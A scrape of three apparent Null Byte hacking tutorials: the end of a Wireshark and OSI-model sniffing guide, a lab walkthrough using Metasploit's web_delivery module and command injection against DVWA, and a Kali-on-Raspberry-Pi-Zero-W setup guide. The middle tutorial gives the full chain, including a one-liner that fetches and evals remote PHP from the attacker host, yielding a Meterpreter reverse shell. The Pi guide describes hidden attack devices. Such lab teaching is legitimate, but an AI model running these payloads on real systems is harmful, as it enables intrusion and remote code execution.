directly with the first layer. Remember this and it gets easy.When your computer is transmitting data to the network, one given layer will receive data from the layer above, process what it received, add some control information to the data that this particular layer is in charge of, and send the new data with this new control information added to the layer below.When your computer is receiving data, the contrary process will occur. One given layer will receive data from the layer below, process what it received, remove control information from the data that this particular layer is in charge of, and send the new data without the control information to the layer above.What's important to keep in mind is that each layer will add or remove control information that it is in charge of. An acronym to help remember the model from bottom to top is "Please Do Not Throw Sausage Pizza Away."Layer 1: PhysicalThe physical layer describes the physical medium that data travels through. ThinkEthernet cables,Network Interface Controllers, and things of the like. It also provides the interface between network and network communication devices.Layer 2: DatalinkThe datalink layer is where the network packets are translated into raw bits (00110101) to be transmitted on the physical layer. This is also a layer that uses the most basic addressing scheme,MediaAccessControladdresses. Think of a MAC address like a diver's license numberβ€”it's just a number that is unique from anyone else's.Now, think of an IP address like a person's mailing address. The mailing address groups people into zones by using the zip code, city, state, and street identifiers.Summary of Layer 1 and 2When a network card receives a stream of bits over the network, it receives the data from the wires (the first layer), then the second layer is responsible for making sense of these 1s and 0s. The second layer first checks the destination MAC address in the frame to make sure the data was intended for that computer. If the destination MAC address matches the MAC address of the network card, it carries on.Layer 3: NetworkThe network layer determines how data transmits between network devices. It also translates the logical address into the physical address (computer name into MAC address). It's also responsible for defining the route, managing network problems, and addressing. Routers also work on the network layer.The most important part of understanding this third layer is knowing that routers make decisions based on layer three's information. Routers are machines that decide how to send information from one logical network to another. Routers understand the Internet Protocol (IP) and base routing decisions on that information.Layer 4: TransportThe transport layer accepts data from the session layer and breaks it into packets and delivers these packets to the network layer. It's the responsibility of the transport layer to guarantee successful arrival of data at the destination device.Transport Layer Securityalso runs on this layer.Layer 5: SessionThe session layer manages the setting up and taking down of the association between two communicating end points, called a connection. A connection is maintained while the two end points are communicating back and forth.Another way to look at itβ€”picture your computer. You're browsing the web, downloading from anFTP server, streaming some music, and who knows what else, all at the same time. All that data is coming into your computer, but it would make little sense if the FTP data was being sent to yourPandoratab, wouldn't it? It's in this layer thatportsare used and that data is properly directed.Layer 6: PresentationThe presentation layer resolves differences in data representation by translating from application to network format, and vice versa. It works to transform data into the form that the application layer can accept. Remember, each layer can only 'talk' to the layer above and below it.This layer is mainly concerned with the syntax and semantics of the information transmitted. For outgoing messages, it converts data into a generic format for the transmission. For the incoming messages, it converts the data to a format understandable to the receiving application. This layer also formats and encrypts data to be sent across a network, providing freedom from compatibility problems and issues.Layer 7: ApplicationThe application layer is the top layer of the model. It provides a set of interfaces for applications to obtain access to networked services. This layer also provides application access security checking and information validation.Common services that will seem familiar include streaming music, email, and online games. When you think of the application layer, think of just thatβ€”applications.Let's Steal Some Data!Now that we have a grasp on the OSI model, we want to get intoWireshark. If you're runningBackTrack, you already have this set up in your /pentest directory. Otherwise, let's go ahead and grab the packages. If you want the latest version of 1.6.5, you must download and compile the source code. If you don't mind the older 1.6.2 version, you can use the repositories. In this case, I recommend the repos if you feel shy about compiling from source and handling dependencies. If you want the bleeding edge, grab the source. As of this writing, it's a small difference.Free BSDusers can type:$ sudo pkg_add -r wiresharkDebian-based systems can type:$ sudo apt-get install wiresharkArchusers can type:$ sudo pacman -S wireshark-gtkIf you do wish to compile from source, follow along below:Step1Get All The Required PackagesMake a new temporary directory, because we're going to download some files. Wireshark also requireslibpcap,glib, andGTK+as dependencies. Backtrack users should again be good to go, but others might need to get these packages first.Download the source code withWgetand compile it up.$ wget http://www.tcpdump.org/release/libpcap-1.2.1.tar.gz$ wget http://ftp.gnome.org/pub/gnome/sources/glib/2.30/glib-2.30.2.tar.bz2$ wget http://ftp.gnome.org/pub/gnome/sources/gtk+/3.2/gtk+-3.2.2.tar.bz2Windows users can grab the32-bitand64-bitversions of Wireshark. Linux users can simply retrieve the source code by typing:$ wget http://wiresharkdownloads.riverbed.com/wireshark/src/wireshark-1.6.5.tar.bz2Step2Build and Install the DependenciesUntar each package you downloaded, then move into the new expanded directory and type the following for each:$ ./configure$ sudo make$ sudo make installStep3Build and Install WiresharkNow we can get to installing our network protocol analyzer, Wireshark. If you have any issues or problems at this stage with dependencies, check out thishelpful link.To get started, let's type:$ tar xvjf wireshark-1.6.5.tar.bz2 && cd wireshark-1.6.5$ ./configure$ sudo make$ sudo make installStep4Configure, Capture and ConquerNow that we have everything up and running, let's go ahead and fire up Wireshark. We should be greeted with the following screen:You'll see a section titledCapture Helpβ€”I highly encourage first time users to give it a whirl. Also notice that if you had captured packets on another computer, you could import that file into Wireshark for analysis, as well.UnderCapture, it lists all the interfaces on your system Wireshark can use to listen in on. /dev/eth1 is my wireless interface, so let's click on that.Here, we listened in on the interface only for a few seconds and picked up 24 packets. The first column lists thepacket number, ordered in how they were received. The next column lists the time in seconds, which began when Wireshark started that session.Source and DestinationTheSourceandDestinationcolumns list the addresses contained in the header. You will notice packets that are addressed for you will show your internal IP address. This is because right now we are listening to the wireless traffic inside a network and as such, are behind the router. Packets coming to the receiving computer have already been stripped of the network IP address by the router. Remember how each layer of the OSI model can only talk to the layers above and below? That's because as the data travels up and down the layers, the control info is added to it, and stripped off as it passes.Next to that lists theProtocolof the packets received. Notice in the image where it saysTLSv1andEncrypted Alertin the info status? TLS stands for Transport Layer Security and if you remember from above, it runs on the transport layer.Packet OverviewUnder that lies an overview of the packet, giving you details such as size and what ports it was addressed to. Click on one of the entries and move your keyboard arrows up and down. See how the highlighted block of jumbled letters and numbers moves along with it? All those jumbled letters and numbers are actuallyhexadecimalcode, and next to it is a quick decoded overview of the data. If items are being transmitted encrypted, then this won't be enough yet, but anything sent plain text will show up here.In ActionHere, I opened my browser and typed www.google.com into the bar. As I briefly explained in mydarknet article, your computer sends a request to aDNS serverto find out the IP associated with google.com. The server then returns the address back to you and your browser connects to it. We can see this in action by sniffing the traffic as it happens.Here you can see the protocol isDNS. The first packet is querying the server and the second packet is responding.In ClosingWhew, that was a long read, but hopefully it was full of good knowledge. Sniffing traffic is useful for a multitude of reasons, from protecting your network from leaks by testing it out, to peeking at data that was not meant for your eyes. Next week, we'll get into advanced capturing of wireless packets, and dig into Wireshark a little more deeper.More importantly than that, you have a good intro to the OSI Model in your mind. I cannot stress enough that understanding this concept will help you later on down the road.Do you have questions? Comments? Concerns? Leave a comment, shoot mea message, orvisit our forum!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImages byEukHost,IebMedia,escotal,technobitez,paidContentRelatedHacker Fundamentals:A Tale of Two StandardsHow To:Spy on Traffic from a Smartphone with WiresharkHow To:Intercept Images from a Security Camera Using WiresharkNetworking Foundations:Exploring UDP via Wireshark(Part 1)Hacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 2 (Packet Analysis)Hacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)How To:Securely Sniff Wi-Fi Packets with SniffglueHack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)How To:Intercept Security Camera Footage Using the New Hak5 Plunder BugHow To:Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target RouterHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)How To:Advanced System Attacks - Total GuideHow To:Play the intro to "That'll Be the Day" without a capoHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Use & Abuse the Address Resolution Protocol (ARP) to Locate Hosts on a NetworkNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Use Wireshark to Steal Your Own Local PasswordsNews:8 Wireshark Filters Every Wiretapper Uses to Spy on Web Conversations and Surfing HabitsHow To:Get Free Wi-Fi from Hotels & MoreHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningHow To:Networking Basics for the Aspiring HackerNews:Network Admin? You Might Become a Criminal SoonNews:Cool Runescape Buddy guyNews:Happy Birthday WakeupNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersNull Byte:Never Let Us DieREVIEW:The EagleWeekend Homework:How to Become a Null Byte Contributor (2/24/2012)How To:Create an SSH Tunnel Server and Client in Linux
How to Use Metasploit's Web Delivery Script & Command Injection to Pop a Shell Β« Null Byte :: WonderHowTo
One of the best ways to improve your skills as a hacker is to learn to combine different avenues of attack to achieve success. What if it were possible to get a victim to connect to our machine and execute a chosen payload on our behalf? This is indeed possible with the almightyMetasploitand the aid of a technique known ascommand injection.Today, we will be usingKali Linuxand Metasploit to attack the vulnerable web applicationDVWA, included as part of theMetasploitable 2virtual machine.Web Delivery OverviewMetasploit contains a useful module that hosts a payload on aservercreated on the attacking machine. The web delivery script is run once the target machine connects to the server and the payload is then executed. This module is versatile as it can targetPython,Powershell, andPHPapplications.Don't Miss:Obfuscate Payloads & Evade Antivirus Detection with MSFconsoleThe web delivery scripts primary advantage is stealth. The server and payload are both hosted on the attacking machine, so when the exploit is carried out, there is nothing written to disk on the target, making it less likely to triggerantivirusapplications and other defenses.The one caveat of this exploit is that it needs a means of executing commands on the target to kick the script off. One possible method that is ideal for this situation is command injection.Command Injection PrimerCommand injection is a type of attack in which arbitraryoperating systemcommands are executed on the host via a vulnerable web application. Usually, this occurs when an application passes unsafe user input from a form to the server, but this can also happen withcookies, HTTP headers, and other sources of data.This type of vulnerability is especially dangerous because of the intrinsic power of system commands. Depending on the level of privilege an application is running with, command injection can lead to an attackerowning an entire system.Step 1: Fire Up DVWAThe first thing we need to do is open DVWA and log in using the default credentials.Next, browse to the "DVWA Security" tab and set the security level to "low" to make sure our exploit is run without any hiccups when we're ready.Step 2: Find a Vulnerable Entry PointNow we can navigate to the "Command Execution" page. For this attack to work, we have to ensure that the target application can communicate with our local machine. We can take advantage of the default functionality of this page to ping our attacking machine. Just enter the IP address and hit "submit."After receiving a successful reply, the next thing we need to do is determine if this page is vulnerable to command injection. We can do so by appending an operating system command to the IP address we entered. Here, we will add thelscommand with the&&symbol and hit "submit" again.Don't Miss:Scan Web Applications for Common Vulnerabilities with WMAPWe can see that the application responded with the contents of the current directory at the bottom, which means that a command injection vulnerability does indeed exist. We will take advantage of this to launch our web delivery script next.Step 3: Launch Web Delivery ScriptFire up Metasploit by typingmsfconsolein the terminal. We can load the web delivery module with the following command.msf > use exploit/multi/script/web_deliveryAt the prompt, typeoptionsto display the current setting for this module.msf exploit(multi/script/web_delivery) > options Module options (exploit/multi/script/web_delivery): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Payload options (python/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 PythonWe need to choose the appropriate target type, which, in this case, is PHP. Please note that for this module to work correctly, the target needs to be set before the payload is chosen. Typeshow targetsto get a list of available options.msf exploit(multi/script/web_delivery) > show targets Exploit targets: Id Name -- ---- 0 Python 1 PHP 2 PSH 3 Regsvr32 4 PSH (Binary)Now we can set the rest of our options. Perform each command as shown below in order. Forset target, it's an ID from the list above. Theset payloadis the payload we're using, in this case, php/meterpreter/reverse_tcp. Forset lhost, it's the listening host address. And forset lport, it's our listening port.msf exploit(multi/script/web_delivery) > set target 1 target => 1 msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf exploit(multi/script/web_delivery) > set lhost 172.16.1.100 lhost => 172.16.1.100 msf exploit(multi/script/web_delivery) > set lport 1234 lport => 1234Finally, we are ready to launch the attack. Typerunat the prompt to start the exploit. The server on our local machine will start. The last line provided by running the exploit, as seen below, is important because it shows the command that needs to be executed on the target system.msf exploit(multi/script/web_delivery) > run [*] Exploit running as background job 0. [*] Started reverse TCP handler on 172.16.1.100:1234 [*] Using URL: http://0.0.0.0:8080/ko3Rb1zps9VTa [*] Local IP: http://172.16.1.100:8080/ko3Rb1zps9VTa [*] Server started. [*] Run the following command on the target machine: php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.1.100:8080/ko3Rb1zps9VTa'));"Step 4: Run the AttackWe can use the command injection vulnerability that we discovered earlier as an easy means of attacking. So copy the last line and append it to the IP address with&&in the "Command Execution" page in DVWA, just like we did earlier when seeing if the page was vulnerable in the first place.If everything goes according to plan, once we hit "submit," our payload will execute and a Meterpreter session will be opened. Back in the terminal, we can see that this is exactly what happens.msf exploit(multi/script/web_delivery) > [*] 172.16.1.102 web_delivery - Delivering Payload [*] Sending stage (37775 bytes) to 172.16.1.102 [*] Meterpreter session 1 opened (172.16.1.100:1234 -> 172.16.1.102:57343) at 2018-10-22 11:12:05 -0500We are not automatically dropped into the session, though, so we can use thesessionscommand to view the active sessions that are open.msf exploit(multi/script/web_delivery) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter php/linux www-data (33) @ metasploitable 172.16.1.100:1234 -> 172.16.1.102:57343 (172.16.1.102)To interact with an active session, use thesessions -icommand followed by the appropriate session ID number.msf exploit(multi/script/web_delivery) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: www-data (33) meterpreter > sysinfo Computer : metasploitable OS : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 Meterpreter : php/linuxNow we can run Meterpreter commands likegetuidandsysinfoto display information about the target machine. We can also drop into a shell by using theshellcommand.meterpreter > shell Process 4869 created. Channel 0 created. whoami www-data uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ps PID TTY TIME CMD 4656 ? 00:00:00 apache2 4658 ? 00:00:00 apache2 4661 ? 00:00:00 apache2 4663 ? 00:00:00 apache2 4665 ? 00:00:00 apache2 4761 ? 00:00:00 apache2 4793 ? 00:00:00 apache2 4855 ? 00:00:00 php 4856 ? 00:00:00 sh 4858 ? 00:00:00 php 4869 ? 00:00:00 sh 4873 ? 00:00:00 psFrom here, we can issue commands likewhoamito view the current user,uname -ato display operating system information, andpsto see a list of running processes. By exploiting command injection in a vulnerable web application, we were able to execute our web delivery script and get a shell on the target without writing anything to disk.Wrapping UpIn this tutorial, we learned a bit about command injection, Metasploit's web delivery script, and how to combine the two into an effective method of attack. Since this exploit avoids writing anything to disk, it increases the chances of success in evading antivirus solutions. In the world of security, there are often many creative ways to combine different techniques to achieve results, all you have to do is look.Don't Miss:How to Exploit Java Remote Method Invocation to Get RootFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byHitarth Jadhav/Pexels; Screenshots by drd_/Null ByteRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How To:Use Commix to Automate Exploiting Command Injection Flaws in Web ApplicationsHow To:Exploit Shellshock on a Web Server Using MetasploitHow To:Use SQL Injection to Run OS Commands & Get a ShellHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)How To:Use Command Injection to Pop a Reverse Shell on a Web ServerHow To:Elevate a Netcat Shell to a Meterpreter Session for More Power & ControlHack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)Hack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow to Hack Like a Pro:Getting Started with MetasploitHow To:Use Meterpeter on OS XHow To:Reverse Shell Using PythonHow To:Exploit Remote File Inclusion to Get a ShellHow To:Find & Exploit SUID Binaries with SUID3NUMHow To:Use One-Lin3r to Quickly Generate Reverse Shells, Privesc Commands & MoreHow To:Identify Missing Windows Patches for Easier ExploitationHow To:Hack Apache Tomcat via Malicious WAR File UploadHow To:Hack UnrealIRCd Using Python Socket ProgrammingHow To:Use Metasploit's Database to Stay Organized & Store Information While HackingHow To:Get Root with Metasploit's Local Exploit SuggesterHow To:Get Root Access on OS X Mavericks and YosemiteDon't Be a Script-Kiddie part1:Introduction to Shell ScriptHow To:Find Exploits & Get Root with Linux Exploit SuggesterHack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)How To:Create a Persistent Back Door in Android Using Kali Linux:How to Hack Databases:Running CMD Commands from an Online MS SQL ServerHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreNews:First Steps of Compiling a Program in Linux
How to Set Up Kali Linux on the New $10 Raspberry Pi Zero W Β« Null Byte :: WonderHowTo
In five short years, three generations of ultra-low-cost Raspberry Pi devices have challenged the boundaries of what a person can do with a $35 computer β€” especially with Kali Linux.With each Pi more powerful and cheaper than the last, the addition of thePi Zeroin 2015 took the same Broadcom BCM2835 processor from the original Pi and put it on a tiny 1.18-inch board. This tiny form factor has powered attacks likePoisonTapand evendrones, but the one thing lacking has been the connectivity of thePi 3.The Pi Zero has proved incredibly popular as a seriously low-cost $5 computer, and in February of 2017, the updatedRaspberry Pi Zero Wwas released.Look at how small this Pi Zero W is.Image by SADMIN/Null ByteThe addition of Wi-Fi and Bluetooth to the Pi Zero W make it one of the cheapest and most widely available Wi-Fi-connected Kali Linux platforms available to hackers all over the world. If you don't have a powerful pen-testing laptop, but you want to follow along with these tutorials and work with Kali Linux, the Pi Zero W can be a great start for a ridiculously low price point.With Wi-Fi on board, the Pi Zero W can boot with SSH enabled, allowing you to command and control it from any device you have available like a laptop or phone. While both the Bluetooth and Wi-Fi interfaces require some configuration before working, they enable native wireless connectivity in useful ways. It's worth noting that the onboard wireless card does not support monitor mode or packet injection, requiring an attack antenna to be added for most Kali-based attacks.The Pi Zero W Compared to Pi 3Compared to the Raspberry Pi 3, the Pi Zero W lacks an Ethernet port, analog audio in and out, LCD panel connection, and has only one Mini HDMI and two Micro-USB OTG in place of the Pi 3's HDMI and four USB ports.With 512 MB of RAM and a 1 GHz processor, the Pi Zero W is much less powerful than the 1 GB of RAM and 1.2 GHz processor the Pi 3 was upgraded with. The system on a chip the Pi Zero W uses is actually the same BCM2835 as the original Pi uses, meaning any project built for the original Pi would also be likely easily adapted to the Zero W. All versions of the Pi have exposed GPIO pins for all kinds of DYI fun, although the ones on the Zero W have not yet been soldered to the board.So Why a Pi Zero W & Not a Full-Sized Pi?The Pi Zero W makes the full-sized Raspberry Pi's physical size look comparatively bloated. While it's certainly easier to hide the full-sized Pi than a laptop or desktop computer, it's still much too large to be concealed in many everyday objects, in places that are well-organized, or where a new object would be noticed.The "credit card-sized" Raspberry Pi dwarfs the tiny Pi Zero W.Image by SADMIN/Null ByteGetting Physical with the Vanishing Raspberry Pi Zero WWeaponized versions of the Pi Zero W typically leverage the small size to get a hacking box in locations where it has not previously been possible to conceal or operate a Kali Linux computer undetected before. Evil objects the size of a pack of gum that can jam nearby Wi-Fi? Only possible with the Zero W.Set up to attack wireless networks with communication via SSH over the internal Wi-Fi card.Image by SADMIN/Null ByteSome attacks, likePoisonTap, are specialized and take advantage of physical access similar to keystroke injection attacks like the USB Rubber Ducky. In fact, aDuckberry Pi toolexists to copy USB Rubber Ducky scripts directly to a Raspberry Pi model as an injection vector, although there have been reports of it being unreliable.Wireless attack suites can be easily run from a well-hidden Pi Zero W remotely controlled by a laptop or cell phone, allowing a new frontier of places you couldn't discreetly hack before. With 3D printing, this tiny board can hide in empty space inside 3D printed objects to allow long-endurance backdoors to be left behind.A 3D printed case for the Pi Zero W,designed on Thingiverse.Image by SADMIN/Null ByteThe Pi Zero W as a Tiny Airborne Electronic Weapons ModuleWeighing in at 9.5 grams with an SD card inserted, the Pi Zero W is also a cheap, flexible electronic warfare module capable of being mounted on even very small drones. TheSkyjack attackmounts a full-sized Pi on a medium-sized attack drone to actually disable or hijack other drones via Wi-Fi.The reduction in size and weight of the Pi Zero W allows a compact, lighter Skyjack module to be added to small and inexpensive drones. While the attack is a proof of concept, it opens the door to a suite of air-to-air electronic warfare attacks that allow a small, light drone to take down or capture much larger drones.It only takes a packet injection-capable antenna to take wireless deauthentication and jamming attacks to the sky.Image by SADMIN/Null ByteThe Pi Zero W can also be configured as a fire-and-forget electronic attack against fixed ground targets, being dropped from a drone, thrown, launched, or otherwise deposited close to a target to scoop up data or cause chaos on a network.On first run, no attack antenna. This provides a minimal footprint and easy setup.Image by SADMIN/Null ByteWhen the battery is low and the Pi Zero W senses the end is near, it can trigger a "self-destruct" mechanism to destroy the SD card after transmitting any exfiltrated data. With the ability to broadcast on Wi-Fi, Bluetooth, and FM radio (with a few hacks), the Pi Zero W is connected, smart, and cheap enough to throw a few at a target without breaking the bank. We can begin to think of the Raspberry Pi Zero W as one of the first affordable smart munitions in a growing arsenal of cyberweapons.The Pi Zero W can fit in some inspiring places.Image by SADMIN/Null ByteStarting with Kali LinuxWhile there is a dizzying array of applications for the Pi Zero W, today we're focusing on installing the Kali Linux OS and configuring a few basic options. This guide will be based off my previous tutorial oninstalling Kali Linux on the Raspberry Pi 3, but the process is not the same.Don't Miss:How to Set Up a Headless Raspberry Pi Hacking PlatformWhile flashing the card is similar, the new PI Zero W includes Bluetooth and a Wi-Fi card that doesn't work correctly in stock Kali Linux. Further, the same procedure to install stock Kali firmware on the Pi 3 will cause nothing but a rainbow screen to appear.Initial attempts to load Kali will result in rainbows.Image by SADMIN/Null ByteThe solution is to usethe custom Re4son-Kernelprovided by one of my favorite security researchers,Re4son. The new kernel supports the Pi Zero W's card. By downloading and flashing the custom image (and some troubleshooting), we can get Kali Linux running on the RPI Zero W and SSH into the device for remote control.RequirementsTo set up Kali on the Pi Zero W, you will need the following hardware. The "Raspberry Pi Zero W (Wireless) Starter Kit" from CanaKit takes care of every requirement except a USB hub, keyboard, and attack antenna. Out of the suppliers I tried, CanaKit was the most responsive and replaced a defective HDMI adapter while I was still waiting for other online retailers to restock the Pi Zero W.Pi Zero WMicro-USB cableand power sourceHDMI adapterOTG USB adapterkeyboard and mouse or input devicelong-rangeorshort-rangeattack antennacase for the PiSetting It All UpTo set up, you will need access to an HDMI display to plug the Pi into, as well as an open wireless network to connect the Pi Zero W to and get the internal wireless card completely working (try using your phone's hotspot).Step 1: Download an Image That Won't Show You RainbowsFirst, download theRe4son-Kernel for Raspberry Piimagefrom Re4son's blog; It's a custom image for the PI Zero W that won't give you a rainbow screen. It also works with theRaspberry Pi Zero,1,2,3 Model B, and3 Model B+models.Download:Re4son-Pi-Kernel(download the "current stable" version and reference its checksum)Step 2: Flash the Image to Your SD CardThis part will be the same as inmy last tutorial. If you use Windows, you can useWin32 Disk Imagerto put your image on the card. On a Mac, you can use a tool likeApplePiBakerorEtcherto load your Kali image onto your SD card. If this causes errors for you, the preferred way of writing a bootable SD image is via a terminal.On a Mac, before plugging in your SD card, run the following in a terminal:df -hThis will display a list of all the disks attached to your system. Attach your SD card and run the command again, and note the filesystem name of your SD card (it's the one that wasn't there before). It should look like "/dev/disk2s1," and you should be very careful not to mix this up in the next steps since doing so could overwrite your hard drive.Now we'll use theddcommand to load the Kali image onto the card. First, let's unmount the partition so you can write to it with the following command, with "x" being the correct disk number:sudo diskutil unmount /dev/diskXNext, run the following command to load the image onto the SD card. If there is an "s" after the initial disk number (like rdisk2s1), do not include the "s" or following number. So, "rdisk2s1" should look like "rdisk2." Here's what it should look like all together:sudo dd bs=1m if=LocationOfKaliImage of=/dev/rdiskXPress enter to begin the process and note thatdddoes not provide any on-screen information unless there is an error or it finishes. To view the progress during the transfer, you can hitControl T. Wait for the process to complete. You'll know the process is complete when you see a readout of bytes transferred over the time the process ran.Step 3: Boot into KaliThanks to Re4son, we have SSH already set up and a lot of other nice options already configured. Plug in the HDMI adapter to a display, attach the OTG hub adapter, Bluetooth keyboard/mouse, attack antenna, and power source. Insert the SD card and plug in the power to boot the Pi Zero W.16 GB SD card inserted in the Pi Zero W.Image by SADMIN/Null ByteThere are is a Micro-USB port for power and another for adding a USB adapter. You should have the power plugged into the Micro-USB connector towards the outside of the board as in my photo example.Keyboard plugged into Micro-USB OTG adapter to boot and configure the Pi Zero W the first time.Image by SADMIN/Null ByteUpon booting into Kali Linux, enter the usernamerootand the passwordtoor. You'll need to update and upgrade the distro in order to get full functionality, so don't get mad yet if the image is acting a little weird.In our wireless lab, the Raspberry Pi Zero W is barely there.Image by SADMIN/Null ByteStep 4: Troubleshoot the Update ProcessAfter much troubleshooting, I was able to connect only to unsecured networks, so I simply created one on my phone as an unsecured wireless hotspot for the Pi to connect to. I have also heard of soldering the GPIO pins needed to connect aUSB-to-TTL serial cableto power and boot the Pi Zero W at first, but haven't tried it myself (though, it does work on the full-sized Pi).Without a network, I've heard booting via serial TTL cable, but I haven't tried it myself on the Pi Zero W since it requires soldering.Image by SADMIN/Null ByteOnce Kali Linux boots, locate the Wi-Fi icon towards the top right of the screen in Kali Linux. Click on it to display the available networks and connect to your open wireless network, using your phone's hotspot if needed. Once the Pi is connected, we'll run an update in the terminal with:sudo apt update && sudo apt full-upgradeSince Bluetooth services are disabled by default, you can run the following to enable them.sudo systemctl enable bluetooth && sudo systemctl enable hciuartStep 5: Housecleaning & SetupWe'll need to change the default SSH keys, which can be done by running:cd /etc/ssh/ mkdir insecure_old mv ssh_host* insecure_old/ dpkg-reconfigure openssh-serverAlso, to ensure you're not using the default password, go ahead and change the root user password by typing:passwdStep 6: Enabling AutologinOur image comes pre-configured with SSH, but to use it we'll need to enable autologin. To do so, we'll need to change some configuration options. First, in your terminal, run:nano /etc/lightdm/lightdm.confRemove the tabs in front of the following lines:pam-autologin-service = PAM service to use for autologin autologin-user=root autologin-user-timeout=0Make sure the autologin part looks as it does in the screenshot below.Remove the tabs and change your configuration options to match these.Save and exit withControl X, then type:nano /etc/pam.d/lightdm-autologinAnd you'll need to change this, starting on line 11:# Allow access without authentication auth required pam_succeed_if.so user != root quiet_success auth required pam_permit.soTo this:# Allow access without authentication ###auth required pam_succeed_if.so user != root quiet_success auth required pam_permit.soSave and closenano. You should now be configured for autologin. Reboot to see if the autologin feature works. If so, you're ready to login via SSH on your phone or laptop. If you're having problems,cdinto the/etc/pam.d/directory, then delete "lightdm-autologin" and run the following command.Don't Miss:Vim β€” the Unix Text Editor Every Hacker Should Knowwget https://raw.githubusercontent.com/sadmin2001/fixes/master/lightdm-autologinStep 7: Test SSH & AutologinConnect your Pi Zero W to a nearby Wi-Fi with a password to ensure sure the Wi-Fi card is working properly, and then runifconfigto get the IP address on the Pi Zero W's internal wireless card,wlan0.Raspberry Pi Zero W held up in front of the Kali Linux Dragon. The Pi is so much smaller than pretty much any screen you view it on.Image by SADMIN/Null ByteFrom a computer or phone connected to the same wireless network, connect to the Pi Zero W by typing in a terminal:ssh root@ Pi-IP-AddressAnd entering the password you changed in step 5. If you see the message of the day, you know everything's working! To create your own MOTD screen, type the following after logging in on your Pi Zero W:Nano /etc/motdDelete the contents and paste whatever you want to show up each time you log in.A message of the day (MOTD) screen letting you know you've successfully logged in.Thanks for reading, and make sure to keep an eye on Null Byte formore Pi-based tutorials. You can ask me questions here or @sadmin2001 onTwitterorInstagram.Don't Miss:How to Hack Wi-Fi: Capturing WPA Passwords by Targeting Users with a Fluxion AttackFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboard+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Build a Portable Pen-Testing Pi BoxHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationRaspberry 